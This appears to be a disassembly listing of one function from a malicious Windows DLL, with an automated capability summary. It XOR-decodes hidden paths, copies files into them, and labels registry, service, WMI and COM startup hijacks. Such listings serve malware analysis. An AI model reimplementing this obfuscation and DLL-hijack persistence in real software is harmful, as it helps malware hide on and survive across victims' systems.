Function at 0x180001680
Capabilities:
Copy file
Encode data using xor
Query environment variable

Disassembly:
push rbp
push r14
push r15
sub rsp, 0xe90
lea rbp, [rsp + 0x40]
mov qword [rbp + 0xe70], rbx
mov qword [rbp + 0xe78], rsi
mov qword [rbp + 0xe80], rdi
mov qword [rbp + 0xe88], r12
mov rax, qword [0x180023008]
xor rax, rbp
mov qword [rbp + 0xe40], rax
mov edi, ecx
xor edx, edx
lea rcx, [rbp + 0x3f0]
mov r8d, 0x208
call fcn.180004490
xor edx, edx
lea rcx, [rbp + 0x810]
mov r8d, 0x208
call fcn.180004490
xor edx, edx
lea rcx, [rbp + 0xc30]
mov r8d, 0x208
call fcn.180004490
xor edx, edx
lea rcx, [rbp + 0x1e0]
mov r8d, 0x208
call fcn.180004490
xor edx, edx
lea rcx, [rbp + 0x600]
mov r8d, 0x208
call fcn.180004490
xor edx, edx
lea rcx, [rbp + 0xa20]
mov r8d, 0x208
call fcn.180004490
mov rcx, qword [0x180024c98]
lea rdx, [rbp + 0x3f0]
mov r8d, 0x208
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x3f0]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
movdqa xmm0, xmmword [0x1800207d0]
lea rax, [rbp + 0x1a0]
movdqa xmm1, xmmword [0x1800207c0]
xor ebx, ebx
movdqa xmm2, xmmword [0x180020800]
mov ecx, ebx
movdqu xmmword [rbp + 0x190], xmm0
movdqa xmm0, xmmword [0x1800207b0]
movdqu xmmword [rbp + 0x1b0], xmm0
movdqa xmm0, xmmword [0x1800207f0]
movdqu xmmword [rbp + 0x1a0], xmm1
movdqa xmm1, xmmword [0x1800207a0]
movdqu xmmword [rbp + 0x1d0], xmm0
movdqu xmmword [rbp + 0x1c0], xmm1
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add ecx, 0x40
lea rax, [rax + 0x40]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x40], xmm1
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
movdqu xmm0, xmmword [rax - 0x20]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x20], xmm0
cmp ecx, 0x40
jb 0x1800017d0
cmp ecx, 0x50
jae 0x18000183e
movsxd rax, ecx
lea rdx, [rbp + 0x190]
add rdx, rax
nop word [rax + rax]
xor byte [rdx], 0xe5
lea rdx, [rdx + 1]
inc ecx
cmp ecx, 0x50
jb 0x180001830
mov r8d, 0x104
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov r8d, 0x104
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov r8d, 0x104
lea rdx, [rbp + 0xa20]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov rcx, rbx
nop
movzx eax, word [rbp + rcx + 0x3f0]
mov word [rbp + rcx + 0xc30], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x180001890
mov rcx, rbx
nop dword [rax]
movzx eax, word [rbp + rcx + 0x3f0]
mov word [rbp + rcx + 0x810], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x1800018b0
movabs rax, 0xf6fffbaaba208cd
lea rdx, [rbp + 0x10]
mov qword [rbp], rax
lea rcx, [rbp + 0xc30]
mov rax, qword [rbp]
movabs r12, 0xeedebd24aaa36dc8
mov qword [rbp + 0x10], rax
movabs r15, 0xf1bffdbabc60891
movabs rax, 0x837eba9ed7b0cae7
movabs r14, 0x831fbafad79eca86
mov qword [rbp], rax
movabs rsi, 0x4ca587556d80a48b
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
movabs rax, 0x4ca587556d80a4ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
vmovdqu ymm0, ymmword [rbp + 0xd0]
vpxor ymm1, ymm0, ymmword [rbp + 0x10]
vmovdqu ymmword [rbp + 0x10], ymm1
vzeroupper
call qword [sym.imp.KERNEL32.dll_lstrcatW]
movabs rax, 0xf7affafaba708f5
lea rdx, [rbp + 0x30]
mov qword [rbp], rax
lea rcx, [rbp + 0xa20]
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0x836bba9bd7facaa8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
vmovdqu ymm0, ymmword [rbp + 0xf0]
vpxor ymm1, ymm0, ymmword [rbp + 0x30]
vmovdqu ymmword [rbp + 0x30], ymm1
vzeroupper
call qword [sym.imp.KERNEL32.dll_lstrcatW]
movabs rax, 0xf7fffababa308cd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0x8378ba97d7e8cae3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0x4cc987316daea4f9
mov qword [rbp], rax
mov rax, qword [rbp]
lea rdx, [rbp + 0x50]
mov qword [rbp + 0x60], rax
lea rcx, [rbp + 0x3f0]
movabs rax, 0xeedebd24aaa36da4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
vmovdqu ymm0, ymmword [rbp + 0x110]
vpxor ymm1, ymm0, ymmword [rbp + 0x50]
vmovdqu ymmword [rbp + 0x50], ymm1
vzeroupper
call qword [sym.imp.KERNEL32.dll_lstrcatW]
movabs rax, 0xf6dffa8aba308cd
lea rdx, [rbp + 0x70]
mov qword [rbp], rax
lea rcx, [rbp + 0x810]
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x8367ba9fd7b0cae5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0x4ca587556d80a4ee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
vmovdqu ymm0, ymmword [rbp + 0x130]
vpxor ymm1, ymm0, ymmword [rbp + 0x70]
vmovdqu ymmword [rbp + 0x70], ymm1
vzeroupper
call qword [sym.imp.KERNEL32.dll_lstrcatW]
movabs rax, 0xf7effbfabb608f4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x836dba9dd7f3caf0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0x4cc987396de4a4a5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
lea rdx, [rbp + 0x90]
mov qword [rbp + 0x160], rax
lea rcx, [rbp + 0x1e0]
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
vmovdqu ymm0, ymmword [rbp + 0x150]
vpxor ymm1, ymm0, ymmword [rbp + 0x90]
vmovdqu ymmword [rbp + 0x90], ymm1
vzeroupper
call qword [sym.imp.KERNEL32.dll_lstrcatW]
movabs rax, 0xf78ffadabb508f4
lea rdx, [rbp + 0xb0]
mov qword [rbp], rax
lea rcx, [rbp + 0x600]
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x837aba82d7fbcaa8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
vmovdqu ymm0, ymmword [rbp + 0x170]
vpxor ymm1, ymm0, ymmword [rbp + 0xb0]
vmovdqu ymmword [rbp + 0xb0], ymm1
vzeroupper
call qword [sym.imp.KERNEL32.dll_lstrcatW]
test edi, edi
je 0x180001d52
xor r8d, r8d
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x810]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
xor r8d, r8d
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x3f0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
xor r8d, r8d
lea rdx, [rbp + 0xa20]
lea rcx, [rbp + 0xc30]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test edi, edi
je 0x180001dd8
sub edi, 1
je 0x180001dc7
sub edi, 1
je 0x180001daf
cmp edi, 1
jne 0x180001e7d
lea rdx, [rbp + 0x1e0]
lea rcx, str.HijackdllSet_REG_Startup_with__s
call fcn.1800010b0
jmp 0x180001e7d
lea rdx, [rbp + 0x1e0]
lea rcx, str.HijackdllSet_Service_Startup_with__s
call fcn.1800010b0
jmp 0x180001e7d
lea rcx, str.HijackdllSet_WMI_Startup
call fcn.1800010b0
jmp 0x180001e7d
lea rcx, str.HijackdllSet_COM_Startup
call fcn.1800010b0
lea rcx, [rbp + 0x1e0]
mov rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bx
jne 0x180001df2
lea edx, [rax + 1]
cmp edx, 0x3fffffff
jg 0x180001e75
cdqe
lea rax, [rax*2 + 2]
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x180001e23
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1800175a0
sub rsp, rcx
lea rdi, [rsp + 0x40]
test rdi, rdi
je 0x180001e75
lea eax, [rdx + rdx]
mov qword [rsp + 0x38], rbx
xor edx, edx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], eax
lea r8, [rbp + 0x1e0]
mov r9d, 0xffffffff
mov byte [rdi], bl
mov qword [rsp + 0x20], rdi
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
cmove rdi, rbx
mov rbx, rdi
mov rcx, rbx
call fcn.180002890
mov rcx, qword [rbp + 0xe40]
xor rcx, rbp
call fcn.180002cc0
mov rbx, qword [rbp + 0xe70]
mov rsi, qword [rbp + 0xe78]
mov rdi, qword [rbp + 0xe80]
mov r12, qword [rbp + 0xe88]
lea rsp, [rbp + 0xe50]
pop r15
pop r14
pop rbp
ret